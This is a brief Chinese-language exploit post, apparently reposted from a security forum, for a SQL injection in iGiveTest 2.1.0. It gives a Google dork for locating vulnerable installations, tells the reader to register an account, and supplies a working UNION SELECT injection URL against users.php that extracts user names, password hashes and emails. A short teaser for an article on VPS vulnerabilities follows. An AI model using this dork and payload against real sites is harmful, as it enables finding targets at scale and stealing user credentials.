iGiveTest 2.1.0 注入漏洞

# Version:
# Homepage: http://iGiveTest.com/
Google Dork: "Powered by iGiveTest"

随便注册个号

http://localhost/[PATH]/users.php?action=groups&order=-1&userids=-1) union select 1,concat(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1

第一个账号 冒号后面的就是密码了

文章来源于lcx.cc:iGiveTest 2.1.0 注入漏洞

相关推荐: 浅析vps为何这么脆弱

看“针对VPS的攻击方法”顺带翻到的内容…… honker90 发表于 2012-10-10 上午在t00ls看到vps攻击方法，那我就来说下vps为什么这么脆弱吧，仅代表个人想法，不是很全面，欢迎各种牛补充。 一说起vps大家都会联想到“廉价的服务器”、可以…